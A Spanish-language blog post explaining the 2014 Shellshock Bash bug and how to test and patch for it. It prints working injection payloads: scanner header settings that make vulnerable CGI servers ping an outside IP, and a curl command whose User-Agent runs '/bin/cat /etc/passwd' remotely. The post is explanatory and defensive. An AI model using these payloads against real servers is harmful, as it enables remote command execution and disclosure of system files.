Shellshock Bash bug explicado Blog
El 24 de septiembre del 2014 se publicó una vulnerabilidad llamada Shellshock bash bug, realmente es algo muy grave porque existen muchos sistemas que utilizan bash.
Ejemplos prácticos de la vulnerabilidad
Básicamente sistemas unix, linux y macos se ven afectados principalmente, este bug lo que permite hacer al atacante es ejecutar comando en el Bash de manera remota, Robert Graham nos pone el siguiente ejemplo.
El siguiente request es ejecutado en algunos servidores usando CGI, CGI internamente utiliza bash, por lo tanto el sitio es vulnerable:
target-ip = 0.0.0.0/0 port = 80 banners = true http-user-agent = shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html) http-header[Cookie] = () { :; }; ping -c 3 209.126.230.74 http-header[Host] = () { :; }; ping -c 3 209.126.230.74 http-header[Referer] = () { :; }; ping -c 3 209.126.230.74
Al realizar ese request a un servidor vulnerable, prácticamente estaríamos ejecutando el comando "ping" en ese servidor! Imaginen si en lugar de hacer un ping comenzamos a exponer información privada:
$ curl -A "() { foo;};echo;/bin/cat /etc/passwd" http://server.vulnerable.com/somecgiscript
También se podría escribir al programa que se propagara automáticamente, realmente las posibilidades son infinitas, es algo muy serio.
Que sucede realmente?
El problema sucede porque bash interpreta el código inyectado al termino de una función, esto cuando se define una variable de entorno, en los ejemplos anteriores la función no hace absolutamente nada:
(){:;};
Es simplemente una definición, lo que viene después de esa función es lo que realmente es el problema, ya que bash ejecutará ese código! Por ejemplo esto:
/bin/cat /etc/passwd > dumped_fileEs algo realmente serio, poder ejecutar comandos de manera remota en nuestro sistema. Muchos servidores Apache, principalmente, utilizan CGI internamente, CGI por su parte utiliza bash, es por eso que en el request del ejemplo anterior termina ejecutándose en el sistema vulnerable.
Como me protejo?
Ahora bien, para saber si tu sistema es vulnerable ejecuta el siguiente comando en tu terminal.
$ env x='() { :;}; echo vulnerable' bash -c 'echo hello'
Si te aparece un error, entonces estas protegido, pero si te aparece la palabra vulnerable, deberías actualizar bash en tu sistema cuanto antes.
Para sistemas linux ya hay una actualización disponible, en sistemas Ubuntu, Debian y semejantes, simplemente ejecuta el siguiente comando:
$ sudo apt-get update && sudo apt-get install --only-upgrade bash
Para sistemas CentOS, Fedora, RedHat y semejantes utiliza el siguiente comando:
$ yum -y update bash
Tristemente para mac todavía no hay una actualización, aunque estoy seguro de que ya trabajan en ella, si eres paranoico puedes seguir esta guia para actualizar bash.
Personalmente he actualizado mis servidores, tan pronto como me entere de esta noticia! Así que te recomiendo hacer lo mismo.
1Comentario
Gracias por el post